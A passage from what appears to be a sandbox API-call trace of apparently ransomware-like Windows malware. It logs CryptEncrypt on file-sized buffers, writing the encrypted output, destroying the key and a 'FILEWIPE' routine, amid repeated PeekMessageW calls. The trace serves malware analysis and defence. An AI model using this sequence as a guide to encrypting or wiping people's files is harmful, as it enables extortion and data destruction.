wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.782] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.782] CharLowerBuffW (in: lpsz="byte[62433]", cchLength=0xb | out: lpsz="byte[62433]") returned 0xb [0024.782] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.783] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.783] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.783] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.783] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.783] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41ee570*, pdwDataLen=0xe8f3dfdf68*=0xf3d2, dwBufLen=0xf3e0 | out: pbData=0xe8f41ee570*, pdwDataLen=0xe8f3dfdf68*=0xf3e0) returned 1 [0024.783] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.783] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.783] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.783] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.783] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.783] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.783] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.783] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.783] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.783] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.784] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.784] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.784] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.784] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.784] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.784] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.784] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.787] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 1 [0024.787] TranslateMessage (lpMsg=0xe8f3dfee40) returned 0 [0024.787] DispatchMessageW (lpMsg=0xe8f3dfee40) returned 0x0 [0024.787] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe8f3dfe470) returned 1 [0024.788] KillTimer (hWnd=0x3002c, uIDEvent=0x1) returned 1 [0024.788] SetTimer (hWnd=0x3002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0024.788] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.788] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.788] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.788] WriteFile (in: hFile=0x188, lpBuffer=0xe8f423a920*, nNumberOfBytesToWrite=0xf3e0, lpNumberOfBytesWritten=0xe8f3dfee20, lpOverlapped=0x0 | out: lpBuffer=0xe8f423a920*, lpNumberOfBytesWritten=0xe8f3dfee20*=0xf3e0, lpOverlapped=0x0) returned 1 [0024.789] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.790] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.790] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.790] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.790] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.790] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.790] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0024.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0xe8f417ac00, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0024.790] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDestroyKey") returned 0x7ffe2a59f3cc [0024.790] CryptDestroyKey (hKey=0xe8f4062b10) returned 1 [0024.791] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.791] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.791] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.791] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.791] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.791] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.791] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.791] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.791] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.792] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.792] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.792] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.792] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.792] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.792] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.792] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.792] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.792] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.792] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.793] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.793] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.793] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.793] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.793] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.793] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.793] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.793] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.793] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.793] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0024.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0xe8f417b0c0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0024.794] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptReleaseContext") returned 0x7ffe2a59e83c [0024.794] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0024.794] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.794] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.794] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.794] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.794] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.796] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.796] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.798] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.798] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.798] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.798] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.798] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.798] CharLowerBuffW (in: lpsz="byte[62418]", cchLength=0xb | out: lpsz="byte[62418]") returned 0xb [0024.799] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.799] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.799] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.799] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.800] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.800] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.800] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.800] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.801] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.801] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.801] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.801] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.801] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.801] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.801] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.801] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.801] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.801] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.804] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.804] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.804] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.804] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.804] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.804] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.804] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.804] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.804] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.804] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=4140) returned 1 [0024.804] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.804] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.804] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.804] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x102c, lpOverlapped=0x0) returned 1 [0024.805] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.805] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x102c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 